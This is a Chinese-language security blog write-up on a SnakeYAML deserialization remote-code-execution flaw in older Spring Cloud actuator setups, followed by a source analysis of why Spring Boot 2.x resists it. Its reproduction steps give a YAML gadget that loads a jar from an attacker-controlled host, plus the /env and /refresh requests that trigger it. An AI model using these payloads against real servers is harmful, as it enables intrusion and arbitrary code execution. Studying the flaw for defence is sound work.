SpringCloud-SnakeYAML-RCE {#SpringCloud-SnakeYAML-RCE}
利用条件 {#利用条件}
Ps:支持/env的post的好像必须要springCloud,springBoot我怎么都不可以搜了网上一堆也不行,有大佬知道可以说说为什么
- 可以 POST 请求目标网站的
/env接口设置属性 - 可以 POST 请求目标网站的
/refresh接口刷新配置(存在spring-boot-starter-actuator依赖) - 目标依赖的
spring-cloud-starter版本 < 1.3.0.RELEASE - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
漏洞复现 {#漏洞复现}
1.在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下
|-------------------|----------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 | !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://your-vps-ip/example.jar"] ]] ] |
2.准备一个恶意jar,实现SPI,很简单如下

3.设置 spring.cloud.bootstrap.location 属性
spring1.x
|-----------------|----------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 | POST /env Content-Type: application/x-www-form-urlencoded spring.cloud.bootstrap.location=http://your-vps-ip/example.yml |
spring2.x
|-----------------|-----------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 | POST /actuator/env Content-Type: application/json {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"} |
4.刷新配置
spring 1.x
|-------------|-----------------------------------------------------------------------|
| 1 2 | POST /refresh Content-Type: application/x-www-form-urlencoded |
spring 2.x
|-------------|---------------------------------------------------------------|
| 1 2 | POST /actuator/refresh Content-Type: application/json |

漏洞原理 {#漏洞原理}
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致,这个在我博客其他文章就有提过了,这里就不再多说
看几个关键的地方,处理 /refresh 接口请求的类在org.springframework.cloud.endpoint.RefreshEndpoint#refresh

第二个是 BootstrapApplicationListener.bootstrapServiceContext() 方法,这里从环境变量中获取到了 spring.cloud.bootstrap.location 的值

最后在 org.springframework.boot.env.PropertySourcesLoader.load() 方法,根据文件名后缀 (yml) ,使用 YamlPropertySourceLoader 类加载 url 对应的 yml 配置文件,因 spring-beans.jar 包含 snakeyaml.jar,因此 YamlPropertySourceLoader 在默认情况下是使用 SnakeYAML 库解析配置


高版本无效 {#高版本无效}
在Spring1.x版本当中
|------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); Iterator var4 = capturedPropertySources.iterator(); PropertySource source; while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.remove(source.getName()); } var4 = input.getPropertySources().iterator(); while(var4.hasNext()) { source = (PropertySource)var4.next(); capturedPropertySources.addLast(source); } environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; } |
在Spring2.x版本当中,却有限制
|------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | private StandardEnvironment copyEnvironment(ConfigurableEnvironment input) { StandardEnvironment environment = new StandardEnvironment(); MutablePropertySources capturedPropertySources = environment.getPropertySources(); String[] var4 = DEFAULT_PROPERTY_SOURCES; int var5 = var4.length; for(int var6 = 0; var6 < var5; ++var6) { String name = var4[var6]; if (input.getPropertySources().contains(name)) { if (capturedPropertySources.contains(name)) { capturedPropertySources.replace(name, input.getPropertySources().get(name)); } else { capturedPropertySources.addLast(input.getPropertySources().get(name)); } } } environment.setActiveProfiles(input.getActiveProfiles()); environment.setDefaultProfiles(input.getDefaultProfiles()); Map<String, Object> map = new HashMap(); map.put("spring.jmx.enabled", false); map.put("spring.main.sources", ""); map.put("spring.main.web-application-type", "NONE"); capturedPropertySources.addFirst(new MapPropertySource("refreshArgs", map)); return environment; } |
必须在DEFAULT_PROPERTY_SOURCES当中的才能被添加到propertySourceList,而恰好
|-----------|------------------------------------------------------------------------------------------------------------------------|
| 1 | private static final String[] DEFAULT_PROPERTY_SOURCES = new String[]{"commandLineArgs", "defaultProperties"}; |
结论 {#结论}
- Spring Boot 2.x 无法利用成功
- Spring Boot 1.5.x 在使用
Dalston版本时可利用成功,使用Edgware无法成功 - Spring Boot <= 1.4 可利用成功
51工具盒子